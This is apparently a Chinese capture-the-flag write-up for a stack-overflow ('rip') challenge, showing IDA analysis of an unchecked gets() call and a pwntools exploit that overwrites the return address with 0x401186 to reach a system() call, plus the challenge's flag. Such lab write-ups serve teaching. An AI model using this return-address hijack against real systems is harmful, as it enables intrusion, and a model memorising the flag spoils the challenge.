Rip覆盖

       
-------------已经到底啦!-------------
 

实属栈溢出.

启动IDA

这个gets没有限制输入,存在栈溢出漏洞.

需要我们输入来获取flag;

在main函数下还有一个fun函数;我们可以点开看看看

是一个系统调用且start at 401186(待会payload可以用到)

双击s来到stack of main视图,这里了解了我们只需存入15个字节即可劫持函数返回地址

IDA方面进行的差不多了,下面可以开始着手写脚本了

构造exp

1
2
3
4
5
from pwn import *
h=remote('node3.buuoj.cn',27829)
payload=b'a'*15+p64(0x401186)
h.sendline(payload)
h.interactive()

执行

刚开始还不知道要干什么,以为又是脚本写错了,后来才发觉是要执行cat /flag命令

get !!flag{8bf972eb-867d-485b-94d5-737f5bc12947}!!{.bulr}